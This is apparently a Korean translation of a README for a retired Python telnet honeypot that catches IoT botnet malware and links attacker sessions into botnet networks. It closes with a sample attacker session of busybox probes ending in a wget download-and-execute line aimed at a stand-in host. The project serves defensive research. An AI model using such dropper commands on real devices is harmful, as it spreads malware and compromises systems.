
Python 텔넷 허니팟 - 봇넷 바이너리 캡처용
이 프로젝트는 더 이상 지원되지 않거나 개발되지 않습니다. 2020년에 수명이 종료된 python2를 기반으로 하며, 시간이 지남에 따라 설치가 점점 어려워지는 의존성을 사용합니다. 사용에 따른 책임은 본인에게 있습니다!
'봇넷 바이너리를 잡기 위한 Python 텔넷 허니팟'
이 프로젝트는 인터넷의 텔넷 서버에서 매우 취약한 기본 비밀번호를 통해 확산되는 IoT 악성코드를 위한 허니팟 역할을 하는 Python 텔넷 서버를 구현합니다.
허니팟은 cowrie (https://github.com/micheloosterhof/cowrie) 와 마찬가지로 셸 환경을 에뮬레이션하여 작동합니다. 이 프로젝트의 주요 목표는 봇넷 연결을 자동으로 분석하고, 서로 다른 연결 및 네트워크를 연결하여 봇넷을 "매핑"하는 것입니다.
애플리케이션은 클라이언트/서버 구조를 가지고 있습니다. 클라이언트(실제 허니팟)는 텔넷 연결을 수락하고, 서버는 연결에 대한 정보를 수신하고 분석을 수행합니다.
백엔드 서버는 HTTP 인터페이스를 제공하며, 이 인터페이스는 프론트엔드에 접근하는 데 사용될 뿐만 아니라 클라이언트가 새로운 연결 정보를 백엔드로 푸시하는 데에도 사용됩니다.
백엔드는 연결을 자동으로 연결하기 위해 2가지 다른 메커니즘을 사용합니다.
네트워크는 발견된 봇넷입니다. 네트워크는 연결된 모든 연결, URL 및 샘플의 집합입니다. URL과 샘플은 연결에 사용될 때 연결됩니다. 두 연결은 동일한 허니팟 클라이언트(여러 클라이언트 지원!)에 의해 수신되고 짧은 시간(기본 2분) 내에 동일한 자격 증명을 사용하거나 동일한 IP 주소에서 오는 경우 연결됩니다.
여러 네트워크가 동일한 유형의 악성코드를 사용하는 것으로 식별되는 경우는, 해당 네트워크 세션 중 입력된 텍스트가 대부분 동일한 경우입니다. 이 비교는 일종의 "해시" 함수를 사용하여 수행되며, 기본적으로 세션(또는 연결)을 단어 시퀀스로 변환한 다음 각 단어를 단일 바이트에 매핑하여 결과 바이트 시퀀스를 쉽게 검색할 수 있도록 합니다.
애플리케이션에는 config.py라는 구성 파일이 있습니다. 로컬 배포 및 클라이언트/서버 배포를 위한 샘플이 포함되어 있습니다.
백엔드는 첫 실행 시 초기화되는 SQL 데이터베이스(기본 sqlite)가 필요합니다. 첫 실행 전에 더 많은 사용자를 생성하는 데 사용되는 관리자 계정을 생성해야 합니다. 관리자 계정은 클라이언트가 연결을 게시하는 데 직접 사용할 수도 있습니다. 둘 이상의 허니팟을 연결해야 하는 경우 여러 사용자를 생성하는 것이 좋습니다.
bash create_config.sh
클라이언트와 백엔드 모두 config.yaml 및 config.dist.yaml 파일을 읽어 구성 매개변수를 읽습니다. config.dist.yaml 파일은 관리자 사용자 자격 증명을 제외한 모든 항목에 대한 기본값을 포함하며, 이러한 매개변수는 config.yaml 파일의 항목으로 재정의됩니다.
python backend.py
이 프로젝트에는 자체 허니팟이 포함되어 있지만, 클라이언트/서버 아키텍처로 인해 다른 허니팟도 사용할 수 있습니다.
python honeypot.py
클라이언트는 서버가 실행 중이지 않으면 시작할 수 없습니다. 클라이언트에 대해 다른 구성을 사용하려면 다음과 같이 -c 스위치를 사용할 수 있습니다.
python honeypot.py -c myconfig.yaml
허니팟 기능만 확인하려면 대화형 모드로 클라이언트를 시작할 수 있습니다.
python honeypot shell
내장 허니팟보다 훨씬 더 많은 기능을 가진 cowrie용 출력 플러그인을 작성했습니다. 대신 cowrie를 사용하려면 출력 모듈이 포함된 내 포크를 확인하세요: https://github.com/Phype/cowrie .
서버가 시작된 후 선호하는 브라우저에서 http://127.0.0.1/을 엽니다.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


